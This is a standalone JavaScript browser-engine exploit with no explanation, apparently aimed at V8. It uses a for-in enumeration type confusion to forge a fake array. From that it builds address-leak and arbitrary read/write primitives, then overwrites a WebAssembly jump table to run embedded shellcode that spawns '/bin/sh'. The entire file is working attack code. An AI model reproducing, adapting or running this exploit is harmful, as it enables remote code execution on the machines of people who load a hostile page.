var
buf =
new
ArrayBuffer(8);
var
dv =
new
DataView(buf);
var
u8 =
new
Uint8Array(buf);
var
u32 =
new
Uint32Array(buf);
var
u64 =
new
BigUint64Array(buf);
var
f32 =
new
Float32Array(buf);
var
f64 =
new
Float64Array(buf);
var
roots =
new
Array(0x30000);
var
index = 0;
function
pair_u32_to_f64(l, h) {
u32[0] = l;
u32[1] = h;
return
f64[0];
}
function
u64_to_f64(val) {
u64[0] = val;
return
f64[0];
}
function
f64_to_u64(val) {
f64[0] = val;
return
u64[0];
}
function
set_u64(val) {
u64[0] = val;
}
function
set_l(l) {
u32[0] = l;
}
function
set_h(h) {
u32[1] = h;
}
function
get_l() {
return
u32[0];
}
function
get_h() {
return
u32[1];
}
function
get_u64() {
return
u64[0];
}
function
get_f64() {
return
f64[0];
}
function
get_fl(val) {
f64[0] = val;
return
u32[0];
}
function
get_fh(val) {
f64[0] = val;
return
u32[1];
}
function
add_ref(obj) {
roots[index++] = obj;
}
function
major_gc() {
new
ArrayBuffer(0x7fe00000);
}
function
minor_gc() {
for
(let i = 0; i < 8; i++) {
add_ref(
new
ArrayBuffer(0x200000));
}
add_ref(
new
ArrayBuffer(8));
}
function
hexx(str, val) {
console.log(str+
": 0x"
+val.toString(16));
}
function
sleep(ms) {
return
new
Promise((resolve) => setTimeout(resolve, ms));
}
var
spray_array = Array(0xf700);
var
data_start_addr = 0x00442129+7;
var
map_addr = data_start_addr + 0x1000;
var
fake_object_addr = map_addr + 0x1000;
spray_array[(map_addr-data_start_addr) / 8] = u64_to_f64(0x2d04040400000061n);
spray_array[(map_addr-data_start_addr) / 8 + 1] = u64_to_f64(0x0a0007ff11000842n);
spray_array[(fake_object_addr-data_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x219);
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(data_start_addr-1, 0x20);
var
leak_object_array =
new
Array(0xf700).fill({});
var
leak_object_element_addr = 0x004c2129;
const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 2;
object2.b = 2;
const N = pair_u32_to_f64(fake_object_addr+1, fake_object_addr+1);
var
fake_object_array = [
N,N,N,N,N,N,N,N,N,N,N,N,N,N,
N,N,N,N,N,N,N,N,N,N,N,N,N,N,
N,N,N,N,N,N,N,N,N,N,N,N,N,N,
N,N,N,N,N,N,N,N,N,N,N,N,N,N,
N,N,N,N,N,N,N,N,N,N,N,N,N,N,
N,N,N,N,N,N,N,N,N,N,N,N,N,N,
N,N,N,N,N,N,N,N,N,N,N,N,N,N,
];
const object3 = {};
object3.a = 3;
object3.b = 3;
object3.c = 3;
object3.d = 3;
const object4 = {};
object4.a = 4;
object4.b = 4;
object4.c = 4;
object4.e = 4;
let fake_array;
for
(let key
in
object2) {}
function
trigger(callback) {
for
(let key
in
object2) {
callback();
fake_array = object2[key];
}
}
trigger(_ => _);
trigger(_ => _);
trigger(_ => _);
for
(let i = 0; i < 0x10000; i++) {
trigger(_ => _);
trigger(_ => _);
trigger(_ => _);
}
trigger(_ => {
object4.c = 1.1;
for
(let key
in
object1) { }
});
function
addressOf(obj) {
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(leak_object_element_addr, 0x20);
leak_object_array[0] = obj;
f64[0] = fake_array[0];
return
u32[0];
}
function
arb_read_cage(addr) {
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);
return
f64_to_u64(fake_array[0]);
}
function
arb_write_half_cage(addr, val) {
let orig_val = arb_read_cage(addr);
fake_array[0] = pair_u32_to_f64(orig_val&0xffffffff, val);
}
function
arb_write_full_cage(addr, val) {
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);
fake_array[0] = u64_to_f64(val);
}
var
code =
new
Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 8, 2, 96, 0, 1, 124, 96, 0, 0, 3, 3, 2, 0, 1, 7, 14, 2, 4, 109, 97, 105, 110, 0, 0, 3, 112, 119, 110, 0, 1, 10, 76, 2, 71, 0, 68, 104, 110, 47, 115, 104, 88, 235, 7, 68, 104, 47, 98, 105, 0, 91, 235, 7, 68, 72, 193, 224, 24, 144, 144, 235, 7, 68, 72, 1, 216, 72, 49, 219, 235, 7, 68, 80, 72, 137, 231, 49, 210, 235, 7, 68, 49, 246, 106, 59, 88, 144, 235, 7, 68, 15, 5, 144, 144, 144, 144, 235, 7, 26, 26, 26, 26, 26, 26, 11, 2, 0, 11]);
var
module =
new
WebAssembly.Module(code);
var
instance =
new
WebAssembly.Instance(module, {});
var
wmain = instance.exports.main;
for
(let j = 0x0; j < 10000; j++) {
wmain();
}
let instance_addr = addressOf(instance);
hexx(
"instance_addr"
, instance_addr);
let jump_table_addr = instance_addr + 0x50;
let rwx_addr = arb_read_cage(jump_table_addr);
hexx(
"rwx_addr"
, rwx_addr);
arb_write_full_cage(jump_table_addr, rwx_addr+0x71dn-5n);
var
pwn = instance.exports.pwn;
pwn();